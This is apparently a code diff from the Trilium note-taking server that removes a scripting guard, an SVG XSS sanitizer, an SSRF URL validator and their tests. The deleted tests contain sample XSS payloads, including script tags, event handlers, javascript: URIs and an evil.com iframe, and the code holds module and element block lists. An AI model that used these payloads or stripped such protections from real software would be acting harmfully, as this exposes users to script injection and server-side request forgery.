if (BLOCKED_MODULES.has(moduleName)) {
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is blocked for security. ` +
|
||||
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
|
||||
);
|
||||
}
|
||||
|
||||
// Allow if in whitelist
|
||||
if (ALLOWED_MODULES.has(moduleName)) {
|
||||
return require(moduleName);
|
||||
}
|
||||
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is not in the allowed modules list. ` +
|
||||
`Contact your administrator to add it to the whitelist.`
|
||||
);
|
||||
return require(moduleName);
|
||||
}
|
||||
|
||||
return this.modules[note.noteId].exports;
|
||||
|
||||
@@ -1,148 +0,0 @@
|
||||
import { vi, describe, it, expect, beforeEach } from "vitest";
|
||||
|
||||
// Mutable mock state that can be changed between tests
|
||||
const mockState = {
|
||||
isElectron: false,
|
||||
scriptingEnabled: false,
|
||||
sqlConsoleEnabled: false
|
||||
};
|
||||
|
||||
// Mock utils module so isElectron can be controlled per test
|
||||
vi.mock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: {
|
||||
isElectron: false
|
||||
}
|
||||
}));
|
||||
|
||||
// Mock config module so Scripting section can be controlled per test
|
||||
vi.mock("./config.js", () => ({
|
||||
default: {
|
||||
Scripting: {
|
||||
get enabled() {
|
||||
return mockState.scriptingEnabled;
|
||||
},
|
||||
get sqlConsoleEnabled() {
|
||||
return mockState.sqlConsoleEnabled;
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
describe("scripting_guard", () => {
|
||||
beforeEach(() => {
|
||||
// Reset to defaults
|
||||
mockState.isElectron = false;
|
||||
mockState.scriptingEnabled = false;
|
||||
mockState.sqlConsoleEnabled = false;
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
describe("assertScriptingEnabled", () => {
|
||||
it("should throw when scripting is disabled and not Electron", async () => {
|
||||
mockState.isElectron = false;
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
// Re-mock utils with isElectron = false
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).toThrowError(
|
||||
/Script execution is disabled/
|
||||
);
|
||||
});
|
||||
|
||||
it("should not throw when scripting is enabled", async () => {
|
||||
mockState.scriptingEnabled = true;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).not.toThrow();
|
||||
});
|
||||
|
||||
it("should not throw when isElectron is true even if config is false", async () => {
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: true,
|
||||
default: { isElectron: true }
|
||||
}));
|
||||
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("assertSqlConsoleEnabled", () => {
|
||||
it("should throw when SQL console is disabled and not Electron", async () => {
|
||||
mockState.sqlConsoleEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertSqlConsoleEnabled()).toThrowError(
|
||||
/SQL console is disabled/
|
||||
);
|
||||
});
|
||||
|
||||
it("should not throw when SQL console is enabled", async () => {
|
||||
mockState.sqlConsoleEnabled = true;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertSqlConsoleEnabled()).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("isScriptingEnabled", () => {
|
||||
it("should return false when disabled and not Electron", async () => {
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { isScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(isScriptingEnabled()).toBe(false);
|
||||
});
|
||||
|
||||
it("should return true when enabled", async () => {
|
||||
mockState.scriptingEnabled = true;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: false,
|
||||
default: { isElectron: false }
|
||||
}));
|
||||
|
||||
const { isScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(isScriptingEnabled()).toBe(true);
|
||||
});
|
||||
|
||||
it("should return true when isElectron is true", async () => {
|
||||
mockState.scriptingEnabled = false;
|
||||
|
||||
vi.doMock("./utils.js", () => ({
|
||||
isElectron: true,
|
||||
default: { isElectron: true }
|
||||
}));
|
||||
|
||||
const { isScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(isScriptingEnabled()).toBe(true);
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,28 +0,0 @@
|
||||
import config from "./config.js";
|
||||
import { isElectron } from "./utils.js";
|
||||
|
||||
/**
|
||||
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
|
||||
*/
|
||||
export function assertScriptingEnabled(): void {
|
||||
if (isElectron || config.Scripting.enabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
|
||||
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
|
||||
);
|
||||
}
|
||||
|
||||
export function assertSqlConsoleEnabled(): void {
|
||||
if (isElectron || config.Scripting.sqlConsoleEnabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
|
||||
);
|
||||
}
|
||||
|
||||
export function isScriptingEnabled(): boolean {
|
||||
return isElectron || config.Scripting.enabled;
|
||||
}
|
||||
@@ -17,7 +17,6 @@ import type { SearchParams, TokenStructure } from "./types.js";
|
||||
import type Expression from "../expressions/expression.js";
|
||||
import sql from "../../sql.js";
|
||||
import scriptService from "../../script.js";
|
||||
import { isScriptingEnabled } from "../../scripting_guard.js";
|
||||
import striptags from "striptags";
|
||||
import protectedSessionService from "../../protected_session.js";
|
||||
|
||||
@@ -81,11 +80,6 @@ function searchFromRelation(note: BNote, relationName: string) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!isScriptingEnabled()) {
|
||||
log.info("Script-based search is disabled (scripting is not enabled).");
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!scriptNote.isJavaScript() || scriptNote.getScriptEnv() !== "backend") {
|
||||
log.info(`Note ${scriptNote.noteId} is not executable.`);
|
||||
|
||||
|
||||
@@ -1,241 +0,0 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { sanitizeSvg } from "./svg_sanitizer.js";
|
||||
|
||||
describe("SVG Sanitizer", () => {
|
||||
describe("removes dangerous elements", () => {
|
||||
it("strips <script> tags with content", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script><circle r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
|
||||
it("strips <script> tags case-insensitively", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><SCRIPT>alert('XSS')</SCRIPT></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("SCRIPT");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips <script> tags with attributes", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert('XSS')</script></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips self-closing <script> tags", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script src="evil.js"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("evil.js");
|
||||
});
|
||||
|
||||
it("strips <foreignObject> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("foreignObject");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips <iframe> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><iframe src="https://evil.com"></iframe></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<iframe");
|
||||
expect(clean).not.toContain("evil.com");
|
||||
});
|
||||
|
||||
it("strips <embed> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><embed src="evil.swf"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<embed");
|
||||
});
|
||||
|
||||
it("strips <object> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><object data="evil.swf"></object></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<object");
|
||||
});
|
||||
|
||||
it("strips <link> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><link rel="stylesheet" href="evil.css"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<link");
|
||||
});
|
||||
|
||||
it("strips <meta> elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><meta http-equiv="refresh" content="0;url=evil.com"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<meta");
|
||||
});
|
||||
});
|
||||
|
||||
describe("removes event handler attributes", () => {
|
||||
it("strips onload from SVG root", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"><circle r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onload");
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).toContain("<circle");
|
||||
expect(clean).toContain("<svg");
|
||||
});
|
||||
|
||||
it("strips onclick from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><circle r="50" onclick="alert('XSS')"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onclick");
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).toContain("r=\"50\"");
|
||||
});
|
||||
|
||||
it("strips onerror from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><image onerror="alert('XSS')" href="x"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onerror");
|
||||
expect(clean).not.toContain("alert");
|
||||
});
|
||||
|
||||
it("strips onmouseover from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert('XSS')" width="100" height="100"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onmouseover");
|
||||
});
|
||||
|
||||
it("strips onfocus from elements", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onfocus="alert('XSS')" tabindex="0"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("onfocus");
|
||||
});
|
||||
});
|
||||
|
||||
describe("removes dangerous URI schemes", () => {
|
||||
it("strips javascript: URIs from href", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("javascript:");
|
||||
expect(clean).toContain("<text>Click</text>");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs from xlink:href", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a xlink:href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("javascript:");
|
||||
});
|
||||
|
||||
it("strips data:text/html URIs", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("data:text/html");
|
||||
});
|
||||
|
||||
it("strips vbscript: URIs", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="vbscript:msgbox('XSS')"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("vbscript:");
|
||||
});
|
||||
|
||||
it("strips javascript: URIs with whitespace padding", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href=" javascript:alert(1)"><text>Click</text></a></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("javascript:");
|
||||
});
|
||||
});
|
||||
|
||||
describe("removes xml-stylesheet processing instructions", () => {
|
||||
it("strips xml-stylesheet PIs", () => {
|
||||
const dirty = `<?xml-stylesheet type="text/xsl" href="evil.xsl"?><svg xmlns="http://www.w3.org/2000/svg"><circle r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("xml-stylesheet");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
});
|
||||
|
||||
describe("preserves legitimate SVG content", () => {
|
||||
it("preserves basic SVG shapes", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/><rect x="10" y="10" width="80" height="80" fill="blue"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG paths", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><path d="M10 10 L90 90" stroke="black" stroke-width="2"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG text elements", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><text x="50" y="50" font-size="20">Hello World</text></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG groups and transforms", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><g transform="translate(10,10)"><circle r="5"/></g></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
|
||||
it("preserves SVG style elements with CSS (not script)", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><style>.cls{fill:red}</style><circle class="cls" r="50"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain("<style>");
|
||||
expect(clean).toContain("fill:red");
|
||||
});
|
||||
|
||||
it("preserves SVG defs and gradients", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="grad"><stop offset="0%" stop-color="red"/><stop offset="100%" stop-color="blue"/></linearGradient></defs><rect fill="url(#grad)" width="100" height="100"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain("linearGradient");
|
||||
expect(clean).toContain("url(#grad)");
|
||||
});
|
||||
|
||||
it("preserves safe href attributes (non-javascript)", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><a href="https://example.com"><text>Link</text></a></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain(`href="https://example.com"`);
|
||||
});
|
||||
|
||||
it("preserves data: URIs for images (non-HTML)", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><image href="data:image/png;base64,abc123"/></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toContain("data:image/png;base64,abc123");
|
||||
});
|
||||
|
||||
it("preserves empty SVG", () => {
|
||||
const svg = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).toBe(svg);
|
||||
});
|
||||
});
|
||||
|
||||
describe("handles edge cases", () => {
|
||||
it("handles Buffer input", () => {
|
||||
const svg = Buffer.from(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`);
|
||||
const clean = sanitizeSvg(svg);
|
||||
expect(clean).not.toContain("<script");
|
||||
});
|
||||
|
||||
it("handles multiple script tags", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="50"/><script>alert(2)</script></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
|
||||
it("handles mixed dangerous content", () => {
|
||||
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><img onerror="alert(3)"/></body></foreignObject><circle r="50" onclick="alert(4)"/></svg>`;
|
||||
const clean = sanitizeSvg(dirty);
|
||||
expect(clean).not.toContain("alert");
|
||||
expect(clean).not.toContain("onload");
|
||||
expect(clean).not.toContain("<script");
|
||||
expect(clean).not.toContain("foreignObject");
|
||||
expect(clean).not.toContain("onclick");
|
||||
expect(clean).toContain("<circle");
|
||||
});
|
||||
|
||||
it("handles empty string input", () => {
|
||||
expect(sanitizeSvg("")).toBe("");
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,158 +0,0 @@
|
||||
/**
|
||||
* SVG sanitizer to prevent stored XSS via malicious SVG content.
|
||||
*
|
||||
* SVG files can contain embedded JavaScript via <script> tags, event handler
|
||||
* attributes (onload, onclick, etc.), <foreignObject> elements, and
|
||||
* javascript: URIs. This sanitizer strips all such dangerous constructs
|
||||
* while preserving legitimate SVG rendering elements.
|
||||
*
|
||||
* Defense-in-depth: SVG responses also receive a restrictive
|
||||
* Content-Security-Policy header (see {@link setSvgHeaders}) to block
|
||||
* script execution even if sanitization is bypassed.
|
||||
*/
|
||||
|
||||
import type { Response } from "express";
|
||||
|
||||
// Elements that MUST be removed from SVG (they can execute code or embed arbitrary HTML)
|
||||
const DANGEROUS_ELEMENTS = new Set([
|
||||
"script",
|
||||
"foreignobject",
|
||||
"iframe",
|
||||
"embed",
|
||||
"object",
|
||||
"applet",
|
||||
"base",
|
||||
"link", // can load external resources
|
||||
"meta",
|
||||
]);
|
||||
|
||||
// Attribute prefixes/names that indicate event handlers
|
||||
const EVENT_HANDLER_PATTERN = /^on[a-z]/i;
|
||||
|
||||
// Dangerous attribute values (javascript:, data: with script content, vbscript:)
|
||||
const DANGEROUS_URI_PATTERN = /^\s*(javascript|vbscript|data\s*:\s*text\/html)/i;
|
||||
|
||||
// Attributes that can contain URIs
|
||||
const URI_ATTRIBUTES = new Set([
|
||||
"href",
|
||||
"xlink:href",
|
||||
"src",
|
||||
"action",
|
||||
"formaction",
|
||||
"data",
|
||||
]);
|
||||
|
||||
// SVG "set" and "animate" elements can modify attributes to dangerous values
|
||||
const DANGEROUS_ANIMATION_ATTRIBUTES = new Set([
|
||||
"attributename",
|
||||
]);
|
||||
|
||||
/**
|
||||
* Sanitizes SVG content by removing dangerous elements and attributes
|
||||
* that could lead to script execution (XSS).
|
||||
*
|
||||
* This uses regex-based parsing rather than a full DOM parser to avoid
|
||||
* adding heavy dependencies. The approach is conservative: it removes
|
||||
* known-dangerous constructs rather than allowlisting, but combined with
|
||||
* the CSP header this provides robust protection.
|
||||
*/
|
||||
export function sanitizeSvg(svg: string | Buffer): string {
|
||||
let content = typeof svg === "string" ? svg : svg.toString("utf-8");
|
||||
|
||||
// 1. Remove dangerous elements and their contents entirely.
|
||||
// Use a case-insensitive regex that handles self-closing and content-bearing tags.
|
||||
for (const element of DANGEROUS_ELEMENTS) {
|
||||
// Remove opening+closing tag pairs (including content between them)
|
||||
const pairRegex = new RegExp(
|
||||
`<${element}[\\s>][\\s\\S]*?<\\/${element}\\s*>`,
|
||||
"gi"
|
||||
);
|
||||
content = content.replace(pairRegex, "");
|
||||
|
||||
// Remove self-closing variants
|
||||
const selfClosingRegex = new RegExp(
|
||||
`<${element}(\\s[^>]*)?\\/?>`,
|
||||
"gi"
|
||||
);
|
||||
content = content.replace(selfClosingRegex, "");
|
||||
}
|
||||
|
||||
// 2. Remove event handler attributes (onclick, onload, onerror, etc.)
|
||||
// and dangerous URI attributes from all remaining elements.
|
||||
content = content.replace(/<([a-zA-Z][a-zA-Z0-9-]*)((?:\s+[^>]*?)?)(\s*\/?>)/g,
|
||||
(_match, tagName, attrs, closing) => {
|
||||
if (!attrs || !attrs.trim()) {
|
||||
return `<${tagName}${closing}`;
|
||||
}
|
||||
|
||||
// Parse and filter attributes
|
||||
const sanitizedAttrs = sanitizeAttributes(attrs);
|
||||
return `<${tagName}${sanitizedAttrs}${closing}`;
|
||||
}
|
||||
);
|
||||
|
||||
// 3. Remove processing instructions that could be exploited
|
||||
content = content.replace(/<\?xml-stylesheet[^?]*\?>/gi, "");
|
||||
|
||||
return content;
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes the attribute string of an SVG element by removing
|
||||
* event handlers and dangerous URI values.
|
||||
*/
|
||||
function sanitizeAttributes(attrString: string): string {
|
||||
// Match individual attributes: name="value", name='value', name=value, or standalone name
|
||||
return attrString.replace(
|
||||
/\s+([a-zA-Z_:][\w:.-]*)\s*(?:=\s*(?:"([^"]*)"|'([^']*)'|(\S+)))?/g,
|
||||
(fullMatch, attrName, dblVal, sglVal, unquotedVal) => {
|
||||
const lowerAttrName = attrName.toLowerCase();
|
||||
const attrValue = dblVal ?? sglVal ?? unquotedVal ?? "";
|
||||
|
||||
// Remove all event handler attributes
|
||||
if (EVENT_HANDLER_PATTERN.test(lowerAttrName)) {
|
||||
return "";
|
||||
}
|
||||
|
||||
// Check URI-bearing attributes for dangerous schemes
|
||||
if (URI_ATTRIBUTES.has(lowerAttrName)) {
|
||||
if (DANGEROUS_URI_PATTERN.test(attrValue)) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
// Block animation elements from targeting event handlers via attributeName
|
||||
if (DANGEROUS_ANIMATION_ATTRIBUTES.has(lowerAttrName)) {
|
||||
const targetAttr = attrValue.toLowerCase();
|
||||
if (EVENT_HANDLER_PATTERN.test(targetAttr) || targetAttr === "href" || targetAttr === "xlink:href") {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
return fullMatch;
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Sets security headers appropriate for SVG responses.
|
||||
* This provides defense-in-depth: even if SVG sanitization is somehow
|
||||
* bypassed, the CSP header prevents script execution.
|
||||
*/
|
||||
export function setSvgHeaders(res: Response): void {
|
||||
res.set("Content-Type", "image/svg+xml");
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
// Restrictive CSP that allows SVG rendering but blocks all script execution,
|
||||
// inline event handlers, and plugin-based content.
|
||||
res.set(
|
||||
"Content-Security-Policy",
|
||||
"default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:"
|
||||
);
|
||||
// Prevent SVG from being reinterpreted in a different MIME context
|
||||
res.set("X-Content-Type-Options", "nosniff");
|
||||
}
|
||||
|
||||
export default {
|
||||
sanitizeSvg,
|
||||
setSvgHeaders
|
||||
};
|
||||
@@ -5,8 +5,6 @@ import eventService from "./events.js";
|
||||
import entityConstructor from "../becca/entity_constructor.js";
|
||||
import ws from "./ws.js";
|
||||
import type { EntityChange, EntityChangeRecord, EntityRow } from "@triliumnext/commons";
|
||||
import attributeService from "./attributes.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
interface UpdateContext {
|
||||
alreadyErased: number;
|
||||
@@ -93,18 +91,6 @@ function updateNormalEntity(remoteEC: EntityChange, remoteEntityRow: EntityRow |
|
||||
|
||||
preProcessContent(remoteEC, remoteEntityRow);
|
||||
|
||||
// When scripting is disabled, prefix dangerous attributes with 'disabled:'
|
||||
// Same pattern as safeImport in attributes.ts
|
||||
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
|
||||
const attrRow = remoteEntityRow as Record<string, unknown>;
|
||||
if (typeof attrRow.type === "string" && typeof attrRow.name === "string"
|
||||
&& !attrRow.isDeleted
|
||||
&& attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
|
||||
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
|
||||
attrRow.name = `disabled:${attrRow.name}`;
|
||||
}
|
||||
}
|
||||
|
||||
sql.replace(remoteEC.entityName, remoteEntityRow);
|
||||
|
||||
updateContext.updated[remoteEC.entityName] = updateContext.updated[remoteEC.entityName] || [];
|
||||
|
||||
@@ -1,140 +0,0 @@
|
||||
/**
|
||||
* URL validation utilities to prevent SSRF (Server-Side Request Forgery) attacks.
|
||||
*
|
||||
* These checks enforce scheme allowlists and optionally block requests to
|
||||
* private/internal IP ranges so that user-controlled URLs cannot be used to
|
||||
* reach local files or internal network services.
|
||||
*/
|
||||
|
||||
import { URL } from "url";
|
||||
import log from "./log.js";
|
||||
|
||||
/**
|
||||
* IPv4 private and reserved ranges that should not be reachable from
|
||||
* server-side HTTP requests initiated by user-supplied URLs.
|
||||
*/
|
||||
const PRIVATE_IPV4_RANGES: Array<{ prefix: number; mask: number }> = [
|
||||
{ prefix: 0x7F000000, mask: 0xFF000000 }, // 127.0.0.0/8 (loopback)
|
||||
{ prefix: 0x0A000000, mask: 0xFF000000 }, // 10.0.0.0/8 (private)
|
||||
{ prefix: 0xAC100000, mask: 0xFFF00000 }, // 172.16.0.0/12 (private)
|
||||
{ prefix: 0xC0A80000, mask: 0xFFFF0000 }, // 192.168.0.0/16 (private)
|
||||
{ prefix: 0xA9FE0000, mask: 0xFFFF0000 }, // 169.254.0.0/16 (link-local)
|
||||
{ prefix: 0x00000000, mask: 0xFF000000 }, // 0.0.0.0/8 (current network)
|
||||
];
|
||||
|
||||
/**
|
||||
* Parse a dotted-decimal IPv4 address into a 32-bit integer, or return null
|
||||
* if the string is not a valid IPv4 literal.
|
||||
*/
|
||||
function parseIPv4(ip: string): number | null {
|
||||
const parts = ip.split(".");
|
||||
if (parts.length !== 4) return null;
|
||||
|
||||
let result = 0;
|
||||
for (const part of parts) {
|
||||
const octet = Number(part);
|
||||
if (!Number.isInteger(octet) || octet < 0 || octet > 255) return null;
|
||||
result = (result << 8) | octet;
|
||||
}
|
||||
// Convert to unsigned 32-bit
|
||||
return result >>> 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns true when the hostname is a private/internal IPv4 address, an IPv6
|
||||
* loopback (::1), or an IPv6 unique-local address (fc00::/7).
|
||||
*
|
||||
* DNS resolution is NOT performed here; the check only applies when the
|
||||
* hostname is already an IP literal. For full SSRF protection against DNS
|
||||
* rebinding you would need an additional check after resolution, but
|
||||
* blocking IP literals covers the most common attack vectors.
|
||||
*/
|
||||
function isPrivateIP(hostname: string): boolean {
|
||||
// Strip IPv6 bracket notation that URL may retain.
|
||||
const cleanHost = hostname.replace(/^\[|\]$/g, "");
|
||||
|
||||
// IPv6 checks
|
||||
if (cleanHost === "::1") return true;
|
||||
if (cleanHost.toLowerCase().startsWith("fc") || cleanHost.toLowerCase().startsWith("fd")) {
|
||||
// fc00::/7 covers fc00:: through fdff::
|
||||
return true;
|
||||
}
|
||||
|
||||
// IPv4 check
|
||||
const ipNum = parseIPv4(cleanHost);
|
||||
if (ipNum !== null) {
|
||||
for (const range of PRIVATE_IPV4_RANGES) {
|
||||
if ((ipNum & range.mask) === (range.prefix >>> 0)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// "localhost" as a hostname (not an IP literal)
|
||||
if (cleanHost.toLowerCase() === "localhost") {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/** Schemes that are safe for outbound HTTP(S) image downloads. */
|
||||
const ALLOWED_HTTP_SCHEMES = new Set(["http:", "https:"]);
|
||||
|
||||
/**
|
||||
* Validate that a URL is safe for server-side fetching (e.g. image downloads).
|
||||
*
|
||||
* Rules:
|
||||
* 1. Only http: and https: schemes are permitted.
|
||||
* 2. The hostname must not resolve to a private/internal IP range.
|
||||
*
|
||||
* Returns `true` when the URL passes all checks, `false` otherwise.
|
||||
* Invalid / unparseable URLs also return `false`.
|
||||
*/
|
||||
export function isSafeUrlForFetch(urlStr: string): boolean {
|
||||
try {
|
||||
const parsed = new URL(urlStr);
|
||||
|
||||
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
|
||||
log.info(`URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isPrivateIP(parsed.hostname)) {
|
||||
log.info(`URL rejected - private/internal IP '${parsed.hostname}': ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
